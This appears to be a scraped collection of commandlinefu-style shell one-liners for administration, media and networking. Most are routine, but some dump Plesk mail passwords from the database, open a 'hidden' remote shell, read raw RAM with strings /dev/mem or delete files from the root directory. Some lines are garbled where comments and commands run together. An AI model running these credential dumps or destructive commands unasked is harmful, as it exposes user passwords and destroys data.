# Pulls email password out of Plesk database for given email address.
mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password FROM accounts JOIN mail ON accounts.id=mail.account_id WHERE mail.mail_name='webmaster';"
# Grab all .flv files from a webpage to the current working directory
wget `lynx -dump http://www.ebow.com/ebowtube.php | grep .flv$ | sed 's/[[:blank:]]\+[[:digit:]]\+\. //g'`
# Extract title from HTML files
sed -n 's/.*<title>\(.*\)<\/title>.*/\1/ip;T;q' file.html
# List all packages by installed size (Bytes) on rpm distros
rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n
# Generate a list of installed packages on Debian-based systems
dpkg -l
# List manually installed packages (excluding Essentials)
aptitude search '~i!~E' | grep -v "i A" | cut -d " " -f 4
# Display summary of git commit ids and messages for a given branch
git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'
# date offset calculations
date --date="1 fortnight ago"
# Sum size of files returned from FIND
find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print total}'
# Read PDFs in the command line
pdftohtml -i -stdout FILE.pdf | w3m -T text/html
# StopWatch, simple text, hh:mm:ss using Unix Time
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)'
# Extract all 7zip files in current directory taking filename spaces into accoun
tfor file in *.7z; do 7zr e "$file"; done
# Measure, explain and minimize a computer's electrical power consumption
sudo powertop
# Show top running processes by the number of open filehandles they have
lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head
# Randomize lines (opposite of | sort)
random -f <file>
# Connect to TCP port 5000, transfer data and close connexion.
echo data | nc -q 0 host 5000
# Maximum PNG compression with optipng, advpng, and advdef
optipng -o3 *png && advpng -z -4 *png && advdef -z -4 *png
# find . -name
find . -name "*.txt" -exec sed -i "s/old/new/" {} \;
# "hidden" remote shell
ssh -T user@host /bin/bash -i
# Propagate X session cookies on a different user and login as that user
read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep :$(echo ${DISPLAY: -4:2}));sudo su - $u
# grep -v with multiple patterns.
sed '/test/{/error\|critical\|warning/d}' somefile
# easily find megabyte eating files or directories
du -hs *|grep M|sort -n
# Kill any process with one command using program name
pkill <name>
# Join lines
perl -pe 'eof()||s/\n/<SOMETEXT>/g' file.txt
# Check reverse DNS
host {checkIp or hostname} [dns server]
# List your interfaces and MAC addresses
for f in /sys/class/net/*; do echo -e "$(basename $f)\t$(cat $f/address)"; done
# Kill any process with one command using program name
kill -9 `ps ax | egrep [f]elix.jar | egrep -o -e '^ *[0-9]+'`
# Screenshot pipe to remote host, adding URL to clipboard, notifying when done. 
(without saving locally)DATE=$(date +%Y-%m-%d_%H-%M-%S)-$(($(date +%N)/10000000)); HOST=ssh_host; DEST=file_dest; URL=url/screenshot_$DATE.png; import -window root png:- | ssh $HOST "cat > $DEST/screenshot_$DATE.png"; echo $URL | xclip; notify-send -u low "Title" "Message"
# checking space availabe on all /proc/mounts points (using Nagios check_disk)
check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p $x "\; done)
# for all who don't have the watch command
watch() { t=$1; shift; while test :; do clear; date=$(date); echo -e "Every "$t"s: $@ \t\t\t\t $date"; $@; sleep $t; done }
# limit the cdrom driver to a specified speed
eject -x 8 /dev/cdrom
# Sorted list of established destination connections
netstat | awk '/EST/{print $5}' | sort
# Print trending topics on Twitter
curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}' | awk -F\< '{print $1}' | sed '/^$/d'
# Get the list of root nameservers for a given TLD
dig +short NS org.
# sudo for entire line (including pipes and redirects)
proceed_sudo () { sudor_command="`HISTTIMEFORMAT=\"\" history 1 | sed -r -e 's/^.*?sudor//' -e 's/\"/\\\"/g'`" ; sudo sh -c "$sudor_command"; }; alias sudor="proceed_sudo # "
# Start screen with name and run command
screen -dmS "name_me" echo "hi"
# Execute a command with a timeout
$COMMAND 2>&1 >/dev/null & WPID=$!; sleep $TIMEOUT && kill $! & KPID=$!; wait $WPID
# Joins args together using the first arg as glue
joinargs() { (IFS="$1"; shift && echo "$*") }
# Monitor Linux/MD RAID Rebuild
watch -n 5 -d cat /proc/mdstat
# Use ImageMagick to get an image's properties
identify -ping imageName.png
# Matrix Style
echo -e "\e[31m"; while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;
# use wget to check if a remote file exists
wget --spider -v http://www.server.com/path/file.ext
# Create black and white image
convert -colorspace gray face.jpg gray_face.jpg
# Youtube-dl gone stale on you/stopped working (Ubuntu)?
sudo youtube-dl -U
# Retrieve a random command from the commandlinefu.com API
lynx --dump http://www.commandlinefu.com/commands/random/plaintext | grep .
# files and directories in the last 1 hour
find ./* -ctime -1 | xargs ls -ltr --color
# Printing multiple years with Unix cal command
for y in $(seq 2009 2011); do cal $y; done
# When was your OS installed?
ls -ldct /lost+found |awk '{print $6, $7}'
# gets all files committed to svn by a particular user since a particular date
svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george") {print $2}}' | sort | uniq
# Downsample mp3s to 128K
for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done
# rsync over ssh via non-default ssh port
rsync -e 'ssh -p PORT' user@host:SRC DEST
# floating point operations in shell scripts
echo "scale=4; 3 / 5" | bc
# locate bin, src, and man file for a command
whereis somecommand
# Remove Backup Files
find / -name *~ -delete
# dont execute command just add it to history as a comment, handy if your comman
d is not "complete" yet
#command
# Show this month's calendar, with today's date highlighted
cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"
# Mount a partition from dd disk image
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
# Google URL shortener
curl -s 'http://ggl-shortener.appspot.com/?url='"$1" | sed -e 's/{"short_url":"//' -e 's/"}/\n/g'
# list files in mtime order
ls -lt | more
# pretend to be busy in office to enjoy a cup of coffee
export GREP_COLOR='1;32'; cat /dev/urandom | hexdump -C | grep --color=auto "ca fe"
# Converts uppercase chars in a string to lowercase
echo StrinG | tr '[:upper:]' '[:lower:]'
# Simple server which listens on a port and prints out received data
ncat -l portnumber
# Get ssh server fingerprints
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub
# kde4 lock screen command
qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock
# untar undo
tar tfz filename.tgz |xargs rm -Rf
# Random number generation within a range N, here N=10
echo $(( $RANDOM % 10 + 1 ))
# a find and replace within text-based files, for batch text replacement, not us
ing perlsed -i -e 's/SEARCH_STRING/REPLACE_STRING/g' `find . -iname 'FILENAME'`
# Query Wikipedia via console over DNS
mwiki() { dig +short txt "$*".wp.dg.cx; }
# Disable WoL on eth0
sudo ethtool -s eth0 wol d
# Change Random Wallpaper on Gnome 3
gsettings set org.gnome.desktop.background picture-uri file://"$(find ~/Wallpapers -type f | shuf -n1)"
# show all programs connected or listening on a network port
alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2'
# Colorize make, gcc, and diff output
colormake, colorgcc, colordiff
# List all groups and the user names that were in each group
for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort
# Show the command line of a process that use a specific port (ubuntu)
cat /proc/$(lsof -ti:8888)/cmdline | tr "\0" " "
# reclaim your window titlebars (in ubuntu lucid)
gconftool -s -t string /apps/metacity/general/button_layout "menu:minimize,maximize,close"
# Poor man's nmap for a class C network from rfc1918
( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[ $h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4 }' | sort -u
# grep (or anything else) many files with multiprocessor power
find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar
# Make alias pemanent fast
PERMA () { echo "$@" >> ~/.bashrc; }
# Download Entire YouTube Channel - all of a user's videos
yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites http://youtube.com/"$i"; done }
# Generate a playlist of all the files in the directory, newer first
find . -type f -print0 | xargs -r0 stat -c %Y\ %n | sort -rn | gawk '{sub(/.\//,"",$2); print $2}' > /tmp/playlist.m3u
# Generate random valid mac addresses
ruby -e 'puts (1..6).map{"%0.2X"%rand(256)}.join(":")'
# Execute a sudo command remotely, without displaying the password
stty -echo; ssh -t HOSTNAME "sudo some_command"; stty echo
# Watch Al Jazeera Livestream directly in mplayer #jan25
mplayer  $(wget -q -O - "http://europarse.real.com/hurl/gratishurl.ram?pid=eu_aljazeera&amp;file=al_jazeera_en_lo.rm" | sed -e 's#lo.rm#hi.rm#')
# Go to the Nth line of file
sed -n 13p /etc/services
# Another way to calculate sum size of all files matching a pattern
find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc
# Securely destroy data on given device
# for i in $(seq 1 25); do dd if=/dev/urandom of=<your disk> bs=1M ; done
# Display GCC Predefined Macros
gcc -dM -E - <<<''
# Delete files if not have some extension
ls -1 |grep -v .jpg |xargs rm
# backup local MySQL database into a folder and removes older then 5 days backup
smysqldump -uUSERNAME -pPASSWORD database | gzip > /path/to/db/files/db-backup-`date +%Y-%m-%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \;
# Run a bash script in debug mode, show output and save it on a file
bash -x script.sh 2> log
# preserve disk; keep OS clean
ram() { for i in /tmp /altroot;do mount -t tmpfs tmpfs $i;done&& for i in /var /root /etc $HOME; do find -d $i |cpio -pdmv /tmp&& mount -t tmpfs tmpfs $i&& mv -v /tmp$i/* $i&& rm -vrf /tmp$i ; done ;} usage: (in rc sequence) ram
# Create a listing of all possible permissions and their octal representation.
touch /tmp/$$;for N in `seq -w  0 7777|grep -v [89]`; do    chmod $N /tmp/$$;    P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$
# Converting video file (.flv, .avi etc.) to .3gp
ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar 22050 output.3gp
# Download Youtube Playlist
y=http://www.youtube.com;for i in $(curl -s $f|grep -o "url='$y/watch?v=[^']*'");do d=$(echo $i|sed "s|url\='$y/watch?v=\(.*\)&.*'|\1|");wget -O $d.flv "$y/get_video.php?video_id=$d&t=$(curl -s "$y/watch?v=$d"|sed -n 's/.* "t": "\([^"]*\)",.*/\1/p')";done
# High resolution video screen recording
gorecord() {   if [ $# != 1 ]; then     echo 'gorecord video.mp4'     return   fi    ffmpeg -f x11grab -s <resolution> -r 25 -i :0.0 -sameq -vcodec mpeg4 "$1"  }
# ncdu - ncurses disk usage
ncdu directory_name
# Copy via tar pipe while preserving file permissions (cp does not!; run this co
mmand with root!)cp -pr olddirectory newdirectory
# List bash functions defined in .bash_profile or .bashrc
declare -F | cut -d ' ' -f 3
# Fill a hard drive with ones - like zero-fill, but the opposite :)
tr '\000' '\377' < /dev/zero | dd bs=512 count=200000 status=noxfer | pipebench | sudo dd of=/dev/sdx
# Create patch file for two directories
diff -r -u originDir updateDir > result.patch
# Monitoring wifi connection by watch command (refresh every 3s), displaying iw 
dump info and iwconfig on wireless interface "wlan0"watch -d -n 3 "iw dev wlan0 station dump; iwconfig wlan0"
# find external links in all html files in a directory list
find . -name '*.html' -print0| xargs -0 -L1 cat |sed "s/[\"\<\>' \t\(\);]/\n/g" |grep "http://" |sort -u
# Query an NFS host for its list of exports
/usr/sbin/showmount -e <host>
# Apply new patch for a directory (originDir)
patch -p0 -i result.patch
# Number of CPU's in a system
grep "processor" /proc/cpuinfo | wc -l
# diff files while disregarding indentation and trailing white space
diff <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file1) <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file2)
# Get an IP address out of fail2ban jail
iptables -D fail2ban-SSH -s <ip_address_to_be_set_free> -j DROP
# Copy structure
structcp(){ ( mkdir -pv $2;f="$(realpath "$1")";t="$(realpath "$2")";cd "$f";find * -type d -exec mkdir -pv $t/{} \;);}
# Remove all backup files in my home directory
find ~user/ -name "*~" -exec rm {} \;
# print file without duplicated lines usind awk
awk '!($0 in a) {a[$0];print}' file
# List of all vim features
vim --version | grep -P '^(\+|\-)' | sed 's/\s/\n/g' | grep -Pv '^ ?$'
# backup directory. (for bash)
cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash
# Make a ready-only filesystem ?writeable? by unionfs
mount -t unionfs -o dirs=/tmp/unioncache=rw:/mnt/readonly=ro unionfs /mnt/unionfs
# a for loop with filling 0 format, with seq
for i in `seq -f %03g 5 50 111`; do echo $i ; done
# Batch rename extension of all files in a folder, in the example from .txt to .
mdfor f in *.txt;do mv ${f%txt}{txt,md}; done
# df without line wrap on long FS name
df -PH|column -t
# Optimize Xsane PDFs
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf multipageproject.pdf
# Quick notepad
cat > list -
# Get your X11 screen mode
xrandr  | grep \*
# Get your internal IP address and nothing but your internal IP address
ifconfig $devices | grep "inet addr" | sed 's/.*inet addr:\([0-9\.]*\).*/\1/g'
# concatenate avi files
avimerge -o output.avi -i file1.avi file2.avi file3.avi
# add all files not under version control to repository
svn add . --force
# strips the first field of each line where the delimiter is the first ascii cha
ractercut -f2 -d`echo -e '\x01'` file
# Go up multiple levels of directories quickly and easily.
cd() { if [[ "$1" =~ ^\.\.+$ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do dir=${dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;}
# Get all ip address for the host
hostname -I
# Command line calculator
awk "BEGIN{ print $* }"
# Show number of NIC's, ports per nic and PCI address
lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0; split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in count) { printf("PCI address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[i]) } }'
# Finding the number of cpu's
grep -c -e '^cpu[0-9]\+' /proc/stat
# Compare an archive with filesystem
tar dfz horde-webmail-1.2.3.tar.gz
# monitor network traffic and throughput in real time
iptraf
# Find out current working directory of a process
eval ls -l /proc/{$(pgrep -d, COMMAND)}/cwd
# Find writable files
find -writable
# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, th
en bytes.dh() { du -ch --max-depth=1 "${@-.}"|sort -h }
# Show the disk usage for files pointed by symbolic link in a directory
find /usr/lib -maxdepth 1 -type l -print0  | xargs -r0 du -Lh
# Find files containing string and open in vim
vim $(grep test *)
# Get Cookies from bash
a="www.commandlinefu.com";b="/index.php";for n in $(seq 1 7);do echo -en "GET $b HTTP/1.0\r\nHost: "$a"\r\n\r\n" |nc $a 80 2>&1 |grep Set-Cookie;done
# List only the directories
ls -l | egrep ^d
# Run remote web page, but don't save the results
wget -O /dev/null http://www.google.com
# Getting ESP and EIP addresses from running processes
ps ax --format=pid,eip,esp,user,command
# Generate random password
randpw(){ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;}
# What is my public IP-address?
wget -qO- ifconfig.me/ip
# Mouse Tracking
while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*/\1, \2/' >> ./mouse-tracking; sleep 10; done
# Add thousand separator with sed, in a file or within pipe
sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename
# Mysql uptime
mysql -e"SHOW STATUS LIKE '%uptime%'"|awk '/ptime/{ calc = $NF / 3600;print $(NF-1), calc"Hour" }'
# Check if running in an X session
if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi
# Convert all WMF images to SVG recursively ignoring file extension case
find . -type f -iname '*.wmf' | while read FILE; do FILENAME="${FILE%.*}"; wmf2svg -o ${FILENAME}.svg $FILE; done
# Get all mac address
ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
# system beep off
setterm -blength 0
# Google text-to-speech in mp3 format
p=$(echo "hello world, how r u?"|sed 's/ /+/g');wget -U Mozilla -q -O - "$@" translate.google.com/translate_tts?tl=en\&q=$p|mpg123 -
# cd up a number of levels
function ..(){ for ((j=${1:-1},i=0;i<j;i++));do builtin cd ..;done;}
# Watch a movie in linux without the X windows system.
mplayer -vo fbdev -xy 1024 -fs -zoom /path/to/movie.avi
# ThePirateBay.org torrent search
wget -U Mozilla -qO - "http://thepiratebay.org/search/your_querry_here/0/7/0" | grep -o 'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent'
# Calculating series with awk: add numbers from 1 to 100
seq 100 | awk '{sum+=$1} END {print sum}'
# Extract neatly a rar compressed file
unrar e file.part1.rar; if [ $? -eq 0 ]; then rm file.part*.rar; fi
# Convert a flv video file to avi using mencoder
mencoder -oac mp3lame -lameopts cbr=128 -ovc xvid -xvidencopts bitrate=1200 inputfile.rmvb -o output.avi
# Encrypted archive with openssl and tar
openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3
# Mirror the NASA Astronomy Picture of the Day Archive
wget -t inf -k -r -l 3 -p -m http://apod.nasa.gov/apod/archivepix.html
# Efficient remote forensic disk acquisition gpg-crypted for multiple recipients
dd if=/dev/sdb | pigz | gpg -r <recipient1> -r <recipient2> -e --homedir /home/to/.gnupg | nc remote_machine 6969
# output the contents of a file removing any empty lines including lines which c
ontain only spaces or tabs.sed -e '/^[<space><tab>]*$/d' somefile
# memcache affinity: queries local memcached for stats, calculates hit/get ratio
 and prints it out.echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l
# How to pull out lines between two patterns
perl -0777 -ne 'print "$1\n" while /word-a(.*?)word-b/gs' filename.txt
# List commands with a short summary
find `echo "${PATH}" | tr ':' ' '` -type f | while read COMMAND; do man -f "${COMMAND##*/}"; done
# Show all usernames and passwords for Plesk email addresses
mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from mail left join domains on mail.dom_id = domains.id inner join accounts where mail.account_id = accounts.id;"
# Create package dependency graph
apt-cache dotty PKG-NAME | dot -Tpng | display
# Show what a given user has open using lsof
lsof -u www-data
# Print stack trace of a core file without needing to enter gdb interactively
gdb --batch --quiet -ex "thread apply all bt full" -ex "quit" ${exe} ${corefile}
# Getting the last argument from the previous command
cd !$
# convert unixtime to human-readable
perl -e 'print scalar(gmtime(1234567890)), "\n"'
# Counts number of lines
find . \( -name '*.h' -o -name '*.cc' \) | xargs grep . | wc -l
# Unzip multiple files with one command
unzip '*.zip'
# Do a search-and-replace in a file after making a backup
perl -i'.bak' -pe 's/old/new/g' <filename>
# Return threads count of a process
ps -o thcount -p <process id>
# Lists installed kernels
dpkg --get-selections | grep linux-image
# Display rows and columns of random numbers with awk
seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}'
# Sort lines using the Xth characted as the start of the sort string
sort -k1.x
# check python syntax in vim
:!pylint -e %
# Do quick arithmetic on numbers from STDIN with any formatting using a perl one
 liner.perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"'
# Donwload media from *.rm from an url of type htttp://.../*.ram
wget <URL> -O- | wget -i -
# A fun thing to do with ram is actually open it up and take a peek. This comman
d will show you all the string (plain text) values in ramstrings /dev/mem|less
# Block all IP addresses and domains that have attempted brute force SSH login t
o computer(bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny
# Search and replace text in all php files with ruby
ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php
# I finally found out how to use notify-send with at or cron
echo notify-send test | at now+1minute
# ssh autocomplete based on ~/.ssh/config
perl -ne 'print "$1 " if /^Host (.+)$/' ~/.ssh/config
# Figure out what shell you're running
ps -p $$
# Kill all processes belonging to a user
ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9]
# Figure out your work output for the day
git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1 | cut -c1-40` HEAD
# easily convert one unit to another
units "2048 bytes" "kibibytes"
# display ip address
curl -s http://myip.dk | grep '<title>' | sed -e 's/<[^>]*>//g'
# Find the process you are looking for minus the grepped one
ps -ef | grep c\\ommand
# whois surfing my web ?
watch lsof -i :80
# Using PIPEs, Execute a command, convert output to .png file, upload file to im
gur.com, then returning the address of the .png.imgur(){ convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";}
# livehttpheaders (firefox addon) replacement
liveh(){ tcpdump -lnAs512 ${1-} tcp |sed ' s/.*GET /GET /;s/.*Host: /Host: /;s/.*POST /POST /;/[GPH][EOo][TSs]/!d;w '"${2-liveh.txt}"' ' >/dev/null ;} # usage: liveh [-i interface] [output-file] && firefox &
# burn a isofile to cd or dvd
cdrecord -v dev=/dev/cdrom yourimage.iso
# List all PostgreSQL databases. Useful when doing backups
psql -U postgres -lAt | gawk -F\| '$1 !~ /^template/ && $1 !~ /^postgres/ && NF > 1 {print $1}'
# grep for tabs without using Ctrl-V trick
grep -P '\t' filename
# Creating ISO Images from CDs/DVDs
dd if=/dev/cdrom of=~/cd_image.iso
# Print all 256 colors for testing TERM or for a quick reference
( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done; )
# Convert one file from ISO-8859-1 to UTF-8.
iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt
# Produces a list of when your domains expire
cat domainlist.txt  | while read line; do echo -ne $line; whois $line | grep Expiration ; done | sed 's:Expiration Date::'
# Add 10 random unrated songs to xmms2 playlist
xmms2 mlib search NOT +rating | grep -r '^[0-9]' | sed -r 's/^([0-9]+).*/\1/' | sort -R | head | xargs -L 1 xmms2 addid
# Enable programmable bash completion in debian lenny
aptitude install bash-completion ; source /etc/bash_completion
# analyze traffic remotely over ssh w/ wireshark
mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;
# Set a posix shell to echo all commands that it's about to execute, after all e
xpansions have been done.set -x
# BackTrack Repos
sudo apt-add-repository 'deb http://archive.offensive-security.com pwnsauce main microverse macroverse restricted universe multiverse' && wget -q http://archive.offensive-security.com/backtrack.gpg -O- | sudo apt-key add -
# find largest file in /var
find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more
# Is it a terminal?
isatty(){ test -t $1; }
# Extract audio from Mythtv recording to Rockbox iPod using ffmpeg
ffmpeg -ss 0:58:15 -i DavidLettermanBlackCrowes.mpg -acodec copy DavidLettermanBlackCrowes.ac3
# print crontab entries for all the users that actually have a crontab
for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done
# Mac OS X: remove extra languages to save over 3 GB of space.
sudo find / -iname "*.lproj" -and \! -iname "en*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv
# An alarm clock using xmms2 and at
at 6:00 <<< "xmms2 play"
# List all Windows services on the command line
sc queryex type= service state= all | find "_NAME"
# Recursively lists all files in the current directory, except the ones in '.sna
pshot' directoryfind . -wholename './.snapshot' -prune -o -print
# List the CPU model name
grep "model name" /proc/cpuinfo
# left-right mouse buttons (left-handed)
xmodmap -e "pointer = 3 2 1"
# Happy Days
echo {1..3}" o'clock" ROCK
# Using column to format a directory listing
(printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d) | column -t
# Print a row of 50 hyphens
perl -le'print"-"x50'
# Send a backup job to a remote tape drive on another machine over SSH
tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0"
# Go to the next sibling directory in alphabetical order, version 2
cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)"
# Print the 10 deepest directory paths
find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail
# Short one line while loop that outputs parameterized content from one file to 
anotherawk '{print $1}' < three-column.txt > first-column.txt
# To get  internet connection information .
sudo /bin/netstat -tpee
# umount all nfs mounts on machine
umount -a -t nfs
# replace XX by YY in the the current directory and cd to it. ( in ZSH )
cd XX YY
# Change the extension of a filename by using rename to convert
rename .JPG .jpg *.JPG
# Remove duplicate rows of an un-sorted file based on a single column
awk '{ if ($1 in stored_lines) x=1; else print; stored_lines[$1]=1 }' infile.txt > outfile.txt
# lotto generator
shuf -i 1-49 -n 6 | sort -n | xargs
# load changes without logging in and out vim
:source ~/.vimrc
# Remove duplicate rows of an un-sorted file based on a single column
perl -ane 'print unless $x{$F[0]}++' infile > outfile
# Archive a directory with datestamp on filename
tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/
# Watch the size of a directory using figlet
watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"
# Remove all .svn folders
find . -name .svn -type d -exec rm -rf '{}' +
# Efficiently extract lines between markers
sed -n '/START/,${/STOP/q;p}'
# Move all but the newest 100 emails to a gzipped archive
find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>ARCHIVE.gz
# calulate established tcp connection of local machine
netstat -an|grep -ci "tcp.*established"
# Add a line to a file using sudo
echo "foo bar" | sudo tee -a /path/to/some/file
# On Mac OS X, runs System Profiler Report and e-mails it to specified address.
system_profiler | mail -s "$HOSTNAME System Profiler Report" [email protected]
# Pass TAB as field separator to sort, join, cut, etc.
sort -t $'\t' -k 2 input.txt
# Indent all the files in a project using emacs
find -iname \*.[ch] -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (indent-region (point-min) (point-max) nil) (save-buffer))" --kill \;
# Drop all tables from a database, without deleting it
mysqldump -u $USER --password=$PASSWORD  --add-drop-table --no-data "$DATABASE" | grep ^DROP | mysql -u $USER --password=$PASSWORD "$DATABASE"
# Record a webcam output into a video file.
ffmpeg -an -f video4linux -s 320x240 -b 800k -r 15 -i /dev/v4l/video0 -vcodec mpeg4 myvideo.avi
# Check ps output to see if file is running, if not start it
ps -C thisdaemon || { thisdaemon & }
# Extract audio track from a video file using mencoder
mencoder -of rawaudio -ovc copy -oac mp3lame -o output.mp3 input.avi
# Play ISO/DVD-files and activate dvd-menu and mouse menu clicks.
mplayer dvdnav:// -dvd-device foo.img -mouse-movements
# Dump a web page
curl -s http://google.com | hexdump -C|less
# Let's make screen and ssh-agent friends
eval `ssh-agent`; screen
# Verify if user account exists in Linux / Unix
id <username>
# Customize time format of 'ls -l'
ls -l --time-style=+"%Y-%m-%d %H:%M:%S"
# Backup your OpenWRT config (only the config, not the whole system)
curl -d 'username=root&password=your-good-password' "http://router/cgi-bin/luci/admin/system/backup?backup=kthxbye" > `date +%Y%d%m`_config_backup.tgz
# find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)$/\1/p'
# Converts uppercase chars in a string to lowercase
s="StrinG"; echo ${s,,}
# Cleanup Python bytecode files
find . -name "*.py[co]" -exec rm -f {} \;
# Show an application's environment variables
sudo sed 's/\o0/\n/g' "/proc/$(pidof -x firefox)/environ" ;# replace firefox
# Batch file name renaming (copying or moving) w/ glob matching.
for x in *.ex1; do mv "${x}" "${x%ex1}ex2"; done
# Ping Twitter to check if you can connect
wget http://twitter.com/help/test.json -q -O -
# display date of last time a process was started in `date` format
ps -o lstart <pid>
# Never rewrites a file while copying (or moving)
cp --backup=t source.file target.file
# Every Nth line position # (AWK)
awk 'NR%3==1' file
# Add .gitignore files to all empty directories recursively from your current di
rectoryfind . \( -type d -empty \) -and \( -not -regex ./\.git.* \) -exec touch {}/.gitignore \;
# nice disk usage, sorted by size, see description for full command
du -sk ./* | sort -nr
# xargs for builtin bash commands
bargs { while read i; do "$@" "$i"; done }
# Break lines after, for example 78 characters, but don't break within a word/st
ringfold -w 78 -s file-to-wrap
# connect to all screen instances running
screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnome-terminal -e screen\ -dx\ $i; done
# Dump sqlite database to plain text format
echo '.dump' | sqlite3 your_sqlite.db > your_sqlite_text.txt
# Create an ISO Image from a folder and burn it to CD
hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso
# Open Perl module source in your editor
$EDITOR `perldoc -l Module::Name`
# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
for i in ./*foo*;do mv -- "$i" "${i//foo/bar}";done
